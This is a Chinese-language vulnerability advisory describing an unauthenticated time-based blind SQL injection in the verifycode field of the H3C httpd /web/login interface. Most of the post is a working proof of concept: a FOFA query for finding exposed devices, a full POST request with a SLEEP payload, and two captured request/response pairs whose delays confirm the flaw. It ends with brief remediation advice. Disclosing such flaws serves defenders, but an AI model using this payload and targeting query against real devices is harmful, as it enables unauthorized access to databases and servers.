

H3Chttp服务器 weblogin SQL注入漏洞

漏洞描述

H3Chttp服务器 在/web/login接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

H3Chttp服务器

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：server="H3C httpd" && title=="请登录"

POC/EXP：

POST /web/login HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/131.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br, zstd

Connection: keep-alive

user_name=admin&password=admin&verifycode=1' AND (SELECT 9821 FROM (SELECT(SLEEP(5)))dfpe) AND 'dYCM'='&language=0

发送请求 强制 HTTPS 历史 爆破示例

Request

```
1 POST /web/login HTTP/1.1
2 Host: 2.2.2.2
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Accept: */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate, br, zstd
8 Connection: keep-alive
9 .
10 user_name=admin&password=admin&verifycode=1' AND (SELECT 9821 FROM (SELECT (SLEEP(5)))dfpe) AND 'dYCM'='&language=0
```

Responses https 556bytes / 5655ms 美化 编码 详情

```
1 HTTP/1.1 200 OK
2 Set-Cookie: UID=16a963cd23ce47b6dfdf5d3f4195f03a; path=/
3 Set-Cookie: UID=0bc25ae119dee2f45f0f380742cc4bdc; path=/
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
6 Pragma: no-cache
7 Content-type: application/xml
8 Date: Thu, 13 Feb 2025 17:17:34 GMT
9 Server: H3C httpd
10 Content-Length: 556
11
12 <?xml version="1.0" encoding="UTF-8"?>
13 <?xml-stylesheet type="text/xsl" href="/xsl/result_page.xsl"?>
14 <ROOT>
15 <SPEC>
16 </SPEC>
17
18 <STATIC>
19 <CharSet>gb2312</CharSet>
20 <LANG>cn</LANG><!--must-->
21 </STATIC>
22
23 <DYNA>
24 <Msg>The verifying code error!</Msg>
25 <TargetWindow>_top</TargetWindow>
26 <RedirectUrl></RedirectUrl>
27 <POPWinFlag>false</POPWinFlag>
28
29 <ParameterList>
```

发送请求 强制 HTTPS 历史 爆破示例

Request

```
1 POST /web/login HTTP/1.1
2 Host: 2.2.2.2
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Accept: */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate, br, zstd
8 Connection: keep-alive
9 .
10 user_name=admin&password=admin&verifycode=1' AND (SELECT 9821 FROM (SELECT (SLEEP(8)))dfpe) AND 'dYCM'='&language=0
```

Responses https 556bytes / 8567ms 美化 编码 详情

```
1 HTTP/1.1 200 OK
2 Set-Cookie: UID=22425dce36df721483448217e9c16313; path=/
3 Set-Cookie: UID=e43e65afec9fd3e414bbb4500077d4a3; path=/
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
6 Pragma: no-cache
7 Content-type: application/xml
8 Date: Thu, 13 Feb 2025 17:14:18 GMT
9 Server: H3C httpd
10 Content-Length: 556
11
12 <?xml version="1.0" encoding="UTF-8"?>
13 <?xml-stylesheet type="text/xsl" href="/xsl/result_page.xsl"?>
14 <ROOT>
15 <SPEC>
16 </SPEC>
17
18 <STATIC>
19 <CharSet>gb2312</CharSet>
20 <LANG>cn</LANG><!--must-->
21 </STATIC>
22
23 <DYNA>
24 <Msg>The verifying code error!</Msg>
25 <TargetWindow>_top</TargetWindow>
26 <RedirectUrl></RedirectUrl>
27 <POPWinFlag>false</POPWinFlag>
28
29 <ParameterList>
30
31 </ParameterList>
```

漏洞修复

参数使用预编译形式用以对sql注入防护，同时限制接口参数输入。

下载官方补丁进行修复